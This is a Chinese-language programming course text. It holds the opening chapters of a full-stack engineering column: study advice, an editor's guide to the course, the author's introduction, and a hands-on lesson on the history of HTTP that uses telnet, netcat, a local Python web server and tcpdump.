87-全栈工程师修炼指南

学习路径 | 怎样成为一名优秀的全栈工程师？

你好，我是四火。

每一项综合技术都有自己的特点，基于 Web 的全栈技术也不例外。它五花八门，涉及面广，同类技术多，技术迭代迅猛，技术资料新等等，就如同下山的猛虎，成为了很多程序员朋友迈向全栈大门的一道阻碍。经常听到这样的抱怨：

想学 Web 全栈技术，期待能独立交付产品，但真的很迷茫。
具体某项技术还好说，可全栈包含了那么多技术，眼都要看花了。
我该从哪里开始，遵循哪些原则，学习哪些技术？

今天，专栏伊始，徙木为信，言能践行，就让我带你一起打破这道障碍。想要入门或者正在进阶的你，期待这个专栏能让你产生不一样的理解，收获独特的方法，在全栈技术的道路上迈上一个更高的台阶。

怎样修炼全栈技术？

首先，我想说的是，先成为合格的工程师，再谈全栈。

就像相声演员的说学逗唱一样，工程师也有自己的必修课，比如数据结构和算法，可以说没有基础代码能力时一切都无从谈起。对于任何一个领域的软件工程师而言，它们都是基础，怎样强调其重要性都不为过。并且无论你是刚入行的程序员，还是打拼了几十年的架构师，标准都是一样的。

就拿我工作过的 Amazon 和 Oracle 来说，我们面试的时候，虽然对技术级别高的程序员候选人，会更多地考察基于经验和思路的系统设计等方面，但代码层面的要求，包括数据结构和算法，对于不同级别的工程师来说 ，基本是一样的。

请注意，这里的要求不只是能够写代码，而是要在面试现场，在有限的时间内，在白板上写代码。而在这个专栏里，我不讲解这些最基础的知识，但并不代表它们不重要。

对于进阶的工程师来说，英文能力是突破天花板的一个必选项。我觉得英文是所有进阶的软件工程师应当强化的能力，对全栈工程师来说更甚。因为基于 Web 的全栈技术迭代很快，新的技术资料一般都是英文的，英文能力，尤其是英文的阅读能力会很大程度地影响知识获取的速度。

其次，在获取知识的基础上思考，尤其是从比较中思考。

思考，我认为是一个软件工程师所有习惯中最重要的一项。我们在实际工作中需要解决各种各样不可预料的问题，缺乏思考的人只会用自己所知道的技术生硬地往上套，而不去考虑是否适合问题本身，不去分析和比对不同解决方法的优劣。对于全栈技术学习而言，由于技术种类多，同类技术多，基于比较的思考就显得更为重要。但在这方面，我认为入门和进阶的工程师应当有所区别：

如果你在这方面入门不久，那么我建议你还是以知识性学习为主，先建立概念，了解全局。在选择要学习的技术时，要找那些经典的、使用的人多，以及接受度高的技术。在此基础上，尝试去思考这些技术的特点，为什么要这样做，好处和坏处各是什么。了解背景，即在所介绍的技术出现以前，程序员都是怎样做的，比较一下二者的区别是什么，或者说，新技术，带来了什么。

如果你是这方面的进阶工程师，那么“思考”的比重需要更高。全栈的技术太多太杂，不思考而以知识堆叠的方式记忆，是根本学不过来的。因此需要结合自身经验，尤其是针对同类的不同技术，要不断地去权衡，并强化自己的思考习惯——针对学习材料，哪些观点是自己不同意的，哪些内容是自己需要补充的，哪些部分是自己需要延伸学习一下的。

通过耐心地思考和比较，知识积累能够逐渐形成体系，而它，是帮助你融会贯通和保证记忆的最佳方法。请不要在开始时担心这一点，只有具备一定量的积累才能自然而然地孕育出体系来。

最后，请不要忽视实践的力量。

对于感兴趣的内容，请打开浏览器，打开命令行，打开 IDE，使用 Google 去搜索，把软件包下载下来，照着学习材料中的例子做一下，按着自己的理解试验一下。

这样的过程听起来很简单，却是能让你形成深刻印象的捷径。有时候你可能对于内容表述不理解，可动手操作一下，往往就突然领悟了。毕竟，最终我们的能力都要落到关于程序代码的实践上去。

专栏内容是怎样设计的？

说到专栏，特别是关于内容定位、广度和深度，我必须要做一个说明。这个说明于我们彼此都非常重要，它能够保证你我对专栏文章持有一个正确的预期。

我希望这个专栏的主要目的是介绍原理、分享认识、探讨观点、串联知识，并引发思考，带给你进一步学习和实践的机会，而不是完全一步一步教导具体怎么做。因此，这个专栏最直接的目标不是希望你了解所有的细节，或者一下子精通其中的某一项技术。

比如，我不会具体而全面地讲解 Spring MVC 怎么配置，Tomcat 怎么搭建，而是希望能突出某几项有代表性的技术特性来介绍——它们为什么被创建出来，它们的价值在哪里，都有什么优劣，并在整体上着眼于全局，对基于 Web 的全栈技术有一个认识和把握。如果你初涉 Web 全栈技术不久，我更希望你能在阅读学习之后感慨，哇～居然有这么多有意思的技术，技术还能这样玩！

即便没有这个专栏，我相信你也一定可以学习自己感兴趣的全栈技术，但是，这个专栏可以帮助你开拓眼界，将这些知识点逐项整理并系统化，帮助你养成在学习实践中思考的良好习惯。先知道“有什么”，才知道“学什么”，最后才能具体去学习，虽然具体的学习往往是没有捷径的，但是“有什么”和“学什么”却可以充分借由他人经验。

再进一步说说内容广度和深度的问题。

内容广度：我会选择每个核心领域的代表性技术来介绍。全栈的技术集合就像一个大观园，每一个子领域，技术往往都非常丰富，因此我们在学习它们的的时候，代表性技术的挑选尤为重要。专栏中每一讲涉及的技术，都是我精心比较后挑选出来的，它们典型、常用，而且深刻，专注于不同的问题领域，在全栈体系中有非常强的代表性，很适合拿来和同类技术做比较。

内容深度：我会把深度控制在合适的位置，让入门到进阶的工程师都有收获。如果你刚刚入门，你可以看得懂大部分内容，并产生兴趣、建立概念；如果你处于进阶阶段，有的内容可能之前有了解过，但学习以后会有新的认识，或者是能把已经掌握的知识点串联起来。同时，请尽可能不要略过总结思考之后的选修课堂和扩展阅读，它们是可以帮助你快速提升的。

具体内容上，专栏包含网络协议和 Web 接口，MVC 架构相关，前端技术，持久层技术和最佳实践等几大章，这些内容会覆盖到基于 Web 的全栈技术最核心的部分。最后还有一章是综合性、自恰性强的专题，比如网站的性能优化、分页技术等。

这里再来个小提示。在文章中，我经常会提到一些工具，也会谈到一些关键的命令执行和配置过程，但具体到某些工具的安装，部分我会给出网址，还有一部分工具则是可以使用常规的包管理工具下载安装，比如 macOS 下的 Homebrew，比如 Ubuntu 的 apt-get。通常情况下，请尽量使用 *nix（包括 Linux 和 MacOS） 而不是 Windows。

最后，我想说每个全栈工程师的学习路径都是独特的，全栈和许多其它软件领域的技术一样，五花八门，日新月异，因此并不好学。我想很少有职业和程序员一样，需要持续、广泛地学习。有诸多品质在学习的过程中都起着至关重要的作用，但是我认为，恒心的作用尤为突出。

我不想提著名的“一万小时理论”，但这个过程也绝不会一帆风顺，特别是在这个专栏的学习过程中，如果你有困惑、茫然，甚至是沮丧，欢迎你和我聊一聊，一起想想办法，让我们把全栈技术学习这件意义非凡的事情坚持下去。

谈到这儿，我很想听听你的想法，进而有针对性地为你讲解，更好地帮助你进阶。请来留言区和我讨论吧：

对于全栈技术的学习，和其它技术相比，你觉得有什么样的特点，学习它们最需要做到什么？

对于专栏的内容设计，你最想听关于全栈技术哪一部分的知识讲解呢？

现在，就让我们正式开始全栈之旅吧！而故事，就从你输入网址、按下回车的那一瞬间开始……

导读 | 如何学习这个专栏？

你好，欢迎来到“全栈工程师修炼指南”，我是专栏编辑王冬青，很高兴认识你。

这个专栏我们邀请了西雅图 Oracle 首席软件工程师四火，历时半年打磨完成。为了帮助你更好地了解专栏的内容设计，收获更好的学习效果，我们特别提供了这篇导读，希望你能在这里找到学习这个专栏的最佳姿势。

课程设计

本专栏围绕基于 Web 的全栈技术进行展开，主要包括“网络协议和 Web 接口、服务端 MVC、前端技术、数据持久化、最佳实践和专题”。

1. 学习目标

学完之后，你可以对基于 Web 的全栈技术有一个系统的认识，深度掌握全栈工程师必备技能，理解技术本质，而不仅仅是停留在技术配置和使用的表象，能够将作者交付的知识复用到自己的实际进阶中去。另外，你还可以将零散的知识点联结成一棵全栈技能树，培养“全栈思维”。

2. 内容优势

专栏内容可以帮助你在入门或者进阶全栈的道路上，梳理出一条高效的学习路径，并掌握这条路径上有代表性的技术。

目前市面上针对单一 、具体技术的教程有很多，但我们独辟蹊径，以系统的全栈技术关系树为基石，重点关注核心技术栈主流技术之间的关联和演进，介绍这些技术间的权衡，探究它们的本质，结合实践、沉淀知识、带动思考。

3. 特色板块

热点答疑：基于内容性质，我们在前五章的最后一讲都设置了热点答疑，目的就是综合你的留言反馈进行分享，定位是较为开放式的，不局限于每一讲中的问题解答。关于“全栈工程师”这一职位，除了某一特定技术点，如果你有更感兴趣的内容，也可以在留言区中告知我们，这个专栏是可以有一些外延性质的话题分享的，比如已定的 《06 | 特别放送：北美大厂如何招聘全栈工程师？》，希望能帮助你拓展技术视野，你可以对照北美大厂的招聘标准和流程重新界定下自己所处的位置，进而有针对性地进行学习。

总结思考：鉴于这个专栏的总结和思考是有强关联的，所以我们合并到了一起，总结主要就是回顾这一讲所学的内容，很好理解了。要特别说明下思考题部分，每一讲的末尾我们会设置两道思考题，一道难度较低，另一道难度略有升级，你可以根据自己的学习程度和本身积累在留言区中分享答案，作者会有针对性地进行回复。当然了，如果可以，十分鼓励你两道都解答一下，对于消化理解所学的知识内容，培养自己的全栈思维很有帮助。

选修课堂：这是一个全新的板块，如果我们将总结思考之前的内容，定位为必修，那么选修课堂的功能就一目了然了。这部分的内容你可以结合自身情况，选择性阅读，它们是与该讲主题强相关的知识，但不会影响必修部分的学习，它们可能该讲中某一步骤的实践过程，帮助你强化认识，也可能是某一重要知识点的详细讲解，帮助你查漏补缺。同时，这个板块是根据每一讲的主题进行考虑的，对于无需增设选修课堂的主题，总结思考之后会直接进入“扩展阅读”板块。

扩展阅读：同上，也是一个全新的板块，每一讲作者都精心准备了一组链接，大致 3~5 篇，每个链接都有文字说明。出于对质量的考虑，这里有部分是英文资料，这里要再强调一下，英文能力也是软件工程师进阶的必备能力之一，这一点作者在学习路径中已经谈过了，但修炼英文非朝夕之事，你也不必过于担心，同等质量下作者会优先选择中文资料进行推荐，如果理解上有困难，还可以借助一些翻译软件，遇到难点，也可以在留言区中与作者探讨。

这些资料有自己的定位，不是“有了更好、没有也行”的可有可无的内容，而是可以帮助你进一步展开学习的重要资料。考虑到每个人的基础不同，它们有的是简单的教程，也有的是技术背景介绍，还有某一技术长项和短处的拓展分析等等。

值得注意的是，少数资料前会标有【基础】字样，这表示该内容涉及的知识点较为基础，如果你对该讲的理解有困难，可以去这样的链接中找找答案。另外，这些资料中没有大厚书，并不是说它们不好，而是作者希望每一讲的内容，你都能在有限的时间内完成阅读、思考、练习和拓展这样的一个闭环。

学习攻略

除了介绍课程设计之外，我还为你准备了六大攻略，都是针对这个专栏的学习方法，帮助你提升学习效率和收获感。

攻略一：利用好特色板块

鉴于全栈工程师的学习性质，这个专栏我们开创了不少特色板块，每个板块的作用在上面我都做了详细说明。请你一定要结合自身情况利用好它们，尽可能不要错过“选修课堂”和“扩展阅读“，它们是可以帮助你快速提升，且拓展你知识版图的内容。

攻略二：勤于动手实践

全栈所包含的知识点非常多，最好的记忆方式就是实践，亲身操作一遍，你会打开一扇新世界的大门——原来全栈并没有那么难。跟着作者文章中分享的小案例亲自做一做，跑一跑代码，自己验证下结论，这是个很高效的学习方法，我十分鼓励你这样做。

不过也正因为这些案例，我推荐你首选文字 + 音频这样的学习方式，只听音频的话，对于这个专栏来说，理解上会有一定难度。

攻略三：在联想和比较中学习

基于全栈知识树庞大和繁杂的特点，它的学习方法会有所不同，它需要你多去尝试比较同类技术，并且将所学理论和工作中实际应用的技术、遇到的问题结合起来。它需要你掌握隐藏在具体技术背后的通用“套路”，联结不同技术，使之成为一个健壮的知识网格，真正将技术的理解落实到本质上去。

攻略四：充分利用留言区

留言区最直观的作用就是完成思考题，每一讲的思考题都是作者精选的，如果你能解答，并分享出来，得到作者和其他同学的肯定，相信你已经对该讲的内容有了深度的认识了，通过这样的方式对所学进行自我检验，是个非常高效的方法。

除此之外，你还可以在这里进行学习总结、强化输出，提出问题、解决困惑，回复他人留言、发起互动，从“消费者”角色升级到“生产者”角色。

如果你在留言区中写下的增量信息够硬核，还有机会让作者精选出来，在该章的最后一讲“热点答疑”中做深度讲解。

攻略五：善于分享

极客时间平台提供了很多分享功能。比如，看到硬核知识点、金句或深有感触的内容，你可以长按做划线笔记，点击分享就可以生成精美的知识卡片，将所学随手记录或分享出去。如果你希望分享整篇文章，或者邀请你的朋友一起打卡学习，还可以点击文稿右上角的“请朋友读”，把这门课推荐给朋友。

这里的分享更像是一种知识交换，给予越多，收获自然也就越多，期待在这个过程中，你的知识体系也能得到锤炼。

攻略六：有计划地学习

这个专栏的更新频率为每周一、三、五，共计 40 讲，更新时间 14 周，你可以跟着作者的更新频率进行学习。一篇文章发布后你有两天的学习时间，你可以一天学习每讲的必修内容，一天学习选修课堂和扩展阅读，当然了，你也可以根据自身情况，自己制定合理的学习计划。

修炼全栈，横向对比技术，纵向挖掘技术，再串联知识，形成一个知识体系，这本身并不是一件容易的事儿。在有作者引导的基础上，希望你能充分调动自身内驱力，将学习坚持下去，期待在最后的《全栈回顾》中见到你的打卡哦～

最后，祝你学以致用、实现进阶。加油！

开篇词 | 从成长角度看，为什么你应该成为全栈工程师？

你好，我是软件工程师熊燚，网上大家都叫我四火，很高兴在这个专栏和你见面。

先介绍下我自己。最早我在华为工作，曾是华为某大型视频门户和视频平台的初创人员，也是一名不折不扣的长期看护其基线版本的全栈工程师，这段经历其实为我的全栈技能打下了一个很好的基础。

后来我加入了亚马逊（Amazon），负责数千万商品销量预测系统和成本利润计算平台的研发，从 0 到 1 重新设计并开发了数据分析和可视化系统，还维护和优化过数据分发的高可用服务，也改进过核算平台的分布式计算架构和工作流引擎，这些多领域的工作让我快速成长，并积累了大量的宝贵经验。

现在，我在西雅图甲骨文（Oracle）的云计算部门就职，职位是首席软件工程师，主要负责研发云基础设施的分布式工作流引擎。

入行这十来年，从前端页面到后端服务，从大小网站到分布式系统，从数据分析处理到可视化，从设计开发到线上运维，我都参与过，并带领团队攻克了很多大的项目堡垒，也以全栈工程师的身份上线了不少核心业务产品。

可以说，我是一名全栈工程的实践者，也是一名程序员综合发展的信奉者，还是一名工程师文化的鼓吹者，有一个建立了很长时间的独立博客“四火的唠叨”。

那提到全栈工程师，你可能第一时间会想到 “全能”“大神”这些词语，也可能听到过其他人对它或褒或贬的评价。那么，究竟该怎么恰如其分地认识这个角色呢？我想和你说说我的看法。

软件工程的范畴里，人类创造了大量的概念和术语，绝大多数都清晰而精确，但“全栈工程师”却是个反例。在互联网出现以前，甚至在客户端和服务端模式出现以前，大多数的程序员，就已经是一定意义上的“全栈”了，他们往往涉足硬件、软件，完成程序从开始到终结各个阶段的工作。

千禧年之后，Web，特别是 Ajax 等前端技术迅猛发展，而技术的进步就自然而然地带来了分工，于是有人负责前端，有人负责后端，甚至划分得更细，此时能够做两头事情的人，才显得更加珍贵。因此，我认为 Web 技术的发展和自然而然引发的分工才是全栈工程师出现的最重要的因素。

2008 年，在 forge38 上面出现了一篇题目为“Full Stack Web Developers”的文章，被认为是最早提及这个概念的媒体之一。

文中是这样说的：

A full stack web developer is someone that does design, markup, styling, behavior, and programming.

大概意思就是说，一个全栈的 web 开发者，会负责设计、标记、样式、行为和编程这些全部的事情。

虽然从现在的眼光看，这个概念的解释似乎有些古老而片面 ，可从上面的历史文字中足以看出，为什么当我们提及全栈，往往总是基于“Web”，而非其他领域了。

到了今天，全栈工程师已经变成了一个有些被滥用的概念，不同人有着天差地别的理解。

我认为，首先必须明确的是，“全栈”不是“全能”，当然，在这个标准下我们依然可以将全栈理解为“广义”的全栈和“狭义”的全栈。显然前者的包容性和不确定性过大，我觉得只有后者才有更实际的讨论价值，并且，广泛的 Web 技术才是一名通常意义上的全栈工程师最该专注的核心内容，而此处的 Web 技术，包括网络、前端、后端 MVC、持久化技术等多个层次。

那从成长角度看，为什么我说你应该成为全栈工程师呢？

和其他软件工程师发展的路线相比，除了通用工程师的技能以外，我认为基于 Web 的全栈技术是一种非常适合用来进一步发展和修炼的技能树，和其它的技术类别比起来，它至少有下面这样几个明显的优势。

关于个人发展

首先，互联网是全栈概念的诞生地，也是软件领域最激动人心的产品和技术的诞生地，这是传统软件所无法比拟的。这些互联网的全栈工程师，每天都在接收新的资讯，每天都“不得不”和这些全新的技术理念搏斗，他们拥有着和这些产品与技术最近距离访问、全面接触和深入研究的机会。你可能很难预测下一波互联网的技术浪潮什么时候到来，技术主角又是谁，但全栈技术是可以帮你打好基础，做好随时拥抱它的准备的。

其次，可以掌握能够快速获得反馈的学习方法，这对于保持持续学习的动力和热情很有助益。比如说，几行 HTML 代码就可以马上看到效果，简单安装和配置，就可以搭建一个健壮的 Web 服务，对当前浏览器即时的标签、脚本、样式修改，立即就能看到变化。

再次，全栈技术的学习之路上有很多纷繁精彩的“套路”，而它们可以应用在软件工程的其它领域。可以说，全栈技术中，有太多能帮助程序员开启新世界大门的东西了，比如 JavaScript 的异步编程，比如各种数据、模板和逻辑的解耦和分层，再比如说持久层技术里面的读写模型分析。

最后，必然是视野的拓展。工程师的成长过程中，在早、中期可以利用全栈技术拓宽视野，并养成思考的习惯。最终也许我们需要“学得精”，但是一开始我们一定要“学得杂”。只有在广度上有足够的积累，足够的内容去比较，才能养成思考的习惯，拥有更全面地看待问题的视野。

拿我自己来说，工作以来我花了很多时间去做一些不同领域的项目，比如我现在的工作是研发一个分布式工作流引擎，从 Web 全栈技术上学到的东西，是能够帮助我快速上手这些技术的。同时，理解它们的本质，也能拓宽分析和解决问题的思路。毕竟，在软件领域，技术都是相通的。

关于就业和创业

首先，全栈工程师本身就拥有多技能、多角色。团队非常欢迎这样的人，因为当一个人可以扮演多个人的角色，就减少了沟通和配合的损耗，提高了效率。出了问题，从客户端到服务端，对多个层面都有所了解的全栈工程师可以更高效地分析和定位问题。这个世界需要专家，但我觉得更需要通晓各个层面知识，能够快速解决问题的人。

其次，全栈工程师是创业的最佳技术角色。有了创意和点子，全栈工程师就可以快速地开发原型，迅速实现第一个版本，并能马上提供优质的宣传推广和用户体验。不要小看这一点，在很多情况下，全栈工程师不需要其它额外的协助，自己就可以很快地将想法变现。

再次，全栈工程师拥有最多的就业机会。有朋友半开玩笑说，你知道世界上什么类型的应用最多见吗？网站！各式各样的网站，内部的管理系统、报表系统、论坛、博客，但无论是哪种类型，它们都是全栈工程师最熟悉的东西。你可能耳闻过著名的 Facebook 只招全栈工程师这样听起来似乎有些“极端”的故事，可事实上，几乎所有的互联网大型公司，都会招聘大量的全栈工程师。

（上图来自 HackerRank，报告原引用于 HackerRank 2018 Developer Skills Report，在开发者评价自己角色的时候，最多的人投票给了“全栈开发者”。）

最后，不妨考虑下未来的职业延伸。有了全栈工程师的底子，未来面对软件行业进一步细化，选择其它细分职业时，会因为有了全面而扎实的基础而更有利。

举例来说，假如你做过一段时间的前端程序员，那往往对用户交互设计是有一定的心得的，我有朋友就是从一个擅长前端的全栈程序员转行做了产品经理；而在 MVC 部分学习的分层和解耦经验，持久层部分积攒的那些对于一致性、可用性的理解，对于将来想投身于分布式系统设计开发的程序员朋友会很有帮助。

我认为对于大多数程序员来说，全栈工程师这个职位对于自己的发展而言，是个非常好的进阶方向。而基于 Web 的全栈技术学习，充满必要性，无论你今后是否志在互联网，无论你的远期目标是在哪个软件领域。

最后，我想认识一下你。你可以在留言区中做个自我介绍，说说你现在的工作、学习情况。或是说说你眼中的全栈工程师是怎样的？你认为应该具备怎样的特质，才能成为全栈工程师呢？欢迎你在留言区和我交流。

01 | 网络互联的昨天、今天和明天：HTTP 协议的演化

你好，我是四火。

HTTP 协议是互联网基础中的基础，和很多技术谈具体应用场景不同的是，几乎所有的互联网服务都是它的应用，没有它，互联网的“互联”将无从谈起，因此我们把它作为正式学习的开篇。

说到其原理和协议本身，我相信大多数人都能说出个大概来，比如，有哪些常见的方法，常见 HTTP 头，返回码的含义等等。但你是否想过，这个古老而富有生命力的互联网“基石”是怎样发展演化过来的呢？从它身上，我们能否管中窥豹，一叶知秋，找到互联网成长和演进的影子？

今天，我想带你从实践的角度，亲身感受下这个过程，相信除了 HTTP 本身，你还可以发现网络协议发展过程中的一些通用和具有共性的东西。

HTTP/0.9

和很多其它协议一样，1991 年，HTTP 在最开始的 0.9 版就定义了协议最核心的内容，虽说从功能上看只是具备了如今内容的一个小小的子集。比如，确定了客户端、服务端的这种基本结构，使用域名 /IP 加端口号来确定目标地址的方式，还有换行回车作为基本的分隔符。

它非常简单，不支持请求正文，不支持除了 GET 以外的其它方法，不支持头部，甚至没有版本号的显式指定，而且整个请求只有一行，因而也被称为“The One-line Protocol”。比如：

GET /target.html

虽说 0.9 版本如今已经极少见到了，但幸运的是 Google 还依然支持（Bing 和 Baidu 不支持）。我们不妨自己动手，实践一下！虽然不能使用浏览器，但别忘了，我们还有一个更古老的工具 telnet。在命令行下建立连接：

telnet www.google.com 80

你会看到类似这样的提示：

Trying 2607:f8b0:400a:803::2004...

Connected to www.google.com.

Escape character is '^]'.

好，现在输入以下请求：

GET /

（请注意这里没有版本号，并不代表 HTTP 协议没有版本号，而是 0.9 版本的协议定义的请求中就是不带有版本号，这其实是该版本的一个缺陷）

接着，你会看到 Google 把首页 HTML 返回了：

HTTP/1.0 200 OK

...（此处省略多行 HTTP 头）

...（此处省略正文）

HTTP/1.0

到了 1996 年，HTTP 1.0 版本就稳定而成熟了，也是如今浏览器广泛支持的最低版本 HTTP 协议。引入了返回码，引入了 header，引入了多字符集，也终于支持多行请求了。

当然，它的问题也还有很多，支持的特性也远没有后来的 1.1 版本多样。比如，方法只支持 GET、HEAD、POST 这几个。但是，麻雀虽小五脏俱全，这是第一个具备广泛实际应用价值的协议版本。

你一样可以用和前面类似的方法来亲自动手实践一下，不过，HTTP 1.0 因为支持多行文本的请求，单纯使用 telnet 已经无法很好地一次发送它们了，其中一个解决办法就是使用 netcat。

好，我们先手写一份 HTTP/1.0 的多行请求，并保存到一个文件 request.txt 中：

GET / HTTP/1.0

User-Agent: Mozilla/1.22 (compatible; MSIE 2.0; Windows 3.1)

Accept: text/html

（根据协议，无论请求还是响应，在 HTTP 的头部结束后，必须增加一个额外的换行回车，因此上述代码最后这个空行是必须的，如果是 POST 请求，那么通常在这个空行之后会有正文）

你看上面的 User-Agent，我写入了一个假的浏览器和操作系统版本，假装我穿越来自 Window 3.1 的年代，并且用的是 IE 2.0，这样一来，我想不会有人比我更“老”了吧。

好，接着用类似的方法，使用 netcat 来发送这个请求：

netcat www.google.com 80 < ~/Downloads/request.txt

一样从 Google 收到了成功的报文。

不知这样的几次动手是否能给你一个启示：懂一点特定的协议，使用简单的命令行和文本编辑工具，我们就已经可以做很多事情了。比如上面这样改变 UA 头的办法，可以模拟不同的浏览器，就是用来分析浏览器适配（指根据不同浏览器的兼容性返回不同的页面数据）的常用方法。

HTTP/1.1

1999 年，著名的 RFC2616，在 1.0 的基础上，大量帮助传输效率提升的特性被加入。

你可能知道，从网络协议分层上看， TCP 协议在 HTTP 协议的下方（TCP 是在 OSI 7 层协议的第 4 层，而 HTTP 则是在最高的第 7 层应用层，因此，前者更加“底层”一点）。

在 HTTP 1.0 版本时，每一组请求和响应的交互，都要完成一次 TCP 的连接和关闭操作，这在曾经的互联网资源比较贫瘠的时候并没有暴露出多大的问题，但随着互联网的迅速发展，这种通讯模式显然过于低效了。

于是这个问题的解决方案——HTTP 的长连接，就自然而然地出现了，它指的是打开一次 TCP 连接，可以被连续几次报文传输重用，这样一来，我们就不需要给每次请求和响应都创建专门的连接了：

（上图来自 Evolution of HTTP — HTTP/0.9, HTTP/1.0, HTTP/1.1, Keep-Alive, Upgrade, and HTTPS）

可以看到，通过建立长连接，中间的几次 TCP 连接开始和结束的握手都省掉了。

那好，我们还是使用 netcat，这次把版本号改成 1.1，同时打开长连接：

GET / HTTP/1.1

Host: www.google.com

User-Agent: Mozilla/1.22 (compatible; MSIE 2.0; Windows 3.1)

Connection: keep-alive

Accept: text/html

（别忘了上面那个空行）

相信你也注意到了上面客户端要求开启长连接的 HTTP 头：

Connection: keep-alive

再按老办法运行：

netcat www.google.com 80 < ~/Downloads/request.txt

我们果然得到了 Google 的响应：

HTTP/1.1 200 OK

Date: ...

Expires: -1

Cache-Control: private, max-age=0

Content-Type: text/html; charset=ISO-8859-1

Transfer-Encoding: chunked

...（此处省略多行 HTTP 头）

127a

...（此处省略 HTML）

0

但是在响应中，值得注意的有两点：

在 HTTP 头部，有这样一行：

Transfer-Encoding: chunked

正文的内容是这样的：

127a

...

0

同时，之前我们见到过头部的 Content-Length 不见了。这是怎么回事呢？

事实上，如果协议头中存在上述的 chunked 头，表示将采用分块传输编码，响应的消息将由若干个块分次传输，而不是一次传回。刚才的 127a，指的是接下去这一块的大小，在这些有意义的块传输完毕后，会紧跟上一个长度为 0 的块和一个空行，表示传输结束了，这也是最后的那个 0 的含义。

值得注意的是，实际上在这个 0 之后，协议还允许放一些额外的信息，这部分会被称作“Trailer”，这个额外的信息可以是用来校验正确性的 checksum，可以是数字签名，或者传输完成的状态等等。

在长连接开启的情况下，使用 Content-Length 还是 chunked 头，必须具备其中一种。分块传输编码大大地提高了 HTTP 交互的灵活性，服务端可以在还不知道最终将传递多少数据的时候，就可以一块一块将数据传回来。在 [第 03 讲] 中，你还会看到藉由分块传输，可以实现一些模拟服务端推送的技术，比如 Comet。

事实上 HTTP/1.1 还增加了很多其它的特性，比如更全面的方法，以及更全面的返回码，对指定客户端缓存策略的支持，对 content negotiation 的支持（即通过客户端请求的以 Accept 开头的头部来告知服务端它能接受的内容类型），等等。

HTTP/2

现在最广泛使用的 HTTP 协议还是 1.1 ，但是 HTTP/2 已经提出，在保持兼容性的基础上，包含了这样几个重要改进：

设计了一种机制，允许客户端来选择使用的 HTTP 版本，这个机制被命名为 ALPN；

HTTP 头的压缩，在 HTTP/2 以前，HTTP 正文支持多种方式的压缩，但是 HTTP 头部却不能；

多路复用，允许客户端同时在一个连接中同时传输多组请求响应的方法；

服务端的 push 机制，比方说客户端去获取一个网页的时候，下载网页，分析网页内容，得知还需要一个 js 文件和一个 css 文件，于是再分别下载，而服务端的 push 机制可以提前就把这些资源推送到客户端，而不需要客户端来索取，从而节约网页加载总时间。

在 HTTP/2 之后，我们展望未来，HTTP/3 已经箭在弦上。如同前面的版本更新一样，依旧围绕传输效率这个协议核心来做进一步改进，其承载协议将从 TCP 转移到基于 UDP 的 QUIC 上面来。

最后，我想说的是，HTTP 协议的进化史，恰恰是互联网进化史的一个绝佳缩影，从中你可以看到互联网发展的数个特质。比方说，长连接和分块传输很大程度上增强了 HTTP 交互模型上的灵活性，使得 B/S 架构下的消息即时推送成为可能。

总结思考

今天我们了解了 HTTP 协议的进化史，并且用了动手操作的方法来帮助你理解内容，还分析了其中两个重要的特性，长连接和分块传输。希望经过今天的实践，除了知识本身的学习，你还能够在快速的动手验证中，强化自己的主观认识，并将这种学习知识的方式培养成一种习惯，这是学习全栈技能的一大法宝。

现在，让我们来进一步思考这样两个问题：

文中介绍了分块传输的 HTTP 特性，你觉得它可以应用到哪些具体场景？

如果让你去设计一个新的网络协议，你能否举例设计的过程中需要遵循哪些原则？

好，今天的分享就到这里，欢迎提出你的疑问，也期待你留言与我交流！

选修课堂：抓一段 HTTP 的包

如果你对于使用 tcpdump 进行网络抓包这个技能已经了解了，就可以跳过下面的内容。反之，推荐你动动手。因为在学习任何网络协议的时候，网络抓包是一个非常基本的实践前置技能；而在实际定位问题的时候，也时不时需要抓包分析。这也是我在第一讲就放上这堂选修课的原因。

俗话说，耳听为虚，眼见为实，下面让我们继续动手实践。你当然可以尝试抓访问某个网站的包，但也可以在本机自己启动一个 web 服务，抓一段 HTTP GET 请求的报文。

利用 Python，在任意目录，一行命令就可以在端口 8080 上启动一个完备的 HTTP 服务（这大概是世界上最简单的启动一个 HTTP 服务的方式了）：

python -m SimpleHTTPServer 8080

启动成功后，你应该能看到：

Serving HTTP on 0.0.0.0 port 8080 ...

接着使用 tcpdump 来抓包，注意抓的是 loopback 的包（本地发送到本地），因此执行：

sudo tcpdump -i lo0 -v 'port 8080' -w http.cap

这里的 -i 参数表示指定 interface，而因为客户端和服务端都在本地，因此使用 lo0（我使用的是 Mac，在某些 Linux 操作系统下可能是 lo，具体可以通过 ifconfig 查看）指定 loopback 的接口，这里我们只想捕获发往 8080 端口的数据包，结果汇总成 http.cap 文件。

打开浏览器敲入 http://localhost:8080 并回车，应该能看到启动 HTTP 服务路径下的文件（夹）列表。这时候你也应该能看到类似下面这样的文字，标志着多少包被捕获，多少包被过滤掉了：

24 packets captured

232 packets received by filter

好，现在我们使用 CTRL + C 结束这个抓包过程。

抓包后使用 Wireshark 打开该 http.cap 文件，在 filter 里面输入 http 以过滤掉别的我们不关心的数据包，我们应该能看到请求和响应至少两条数据。于是接下去的内容就是我们非常关心的了。

如果你看到这里，我想请你再思考下，在不设置上面的 http filter 的时候，我们会看到比这多得多的报文，它们不是 HTTP 的请求响应所以才被过滤掉了，那么，它们都有什么呢？

扩展阅读

【基础】如果你对 HTTP 还不熟悉的话，推荐你阅读一篇系统性介绍 HTTP 的教程，比如 MDN 的这篇教程。

【基础】The OSI model explained: How to understand (and remember) the 7 layer network model：如果你对网络的 OSI 7 层模型还不清楚的话，建议阅读。如果你想知道那些鼎鼎大名的网络协议在这个模型中的哪个位置，那么请从 List of network protocols (OSI model) 里面找。基于聚焦主题的关系，我们在这个专栏中不会详细介绍呈现层（Presentation Layer）之下的网络协议。

HTTP 1.0、1.1 和 2.0：它们是 RFC 文档，看起来似乎枯燥乏味，通常我们不需要去仔细阅读它们，但是当我们想知道对协议的理解是否正确，它们是我们最终的参考依据。

Key differences between HTTP 1.0 and HTTP 1.1：文中总结了从 HTTP 1.0 到 1.1 的 9 大改进；而 HTTP/2 Complete Tutorial 是一篇比较系统的 HTTP/2 的介绍。

02 | 为HTTP穿上盔甲：HTTPS

你好，我是四火。

在上一讲中，我介绍了互联网最重要的 HTTP 协议。可是随着互联网的发展，你会发现 HTTP 越来越无法满足复杂的需求，比如数据加密传输的安全性需求，再比如服务器消息即时推送的交互模式的需求，而这些不适性是由 HTTP 的基本特性所造成的。

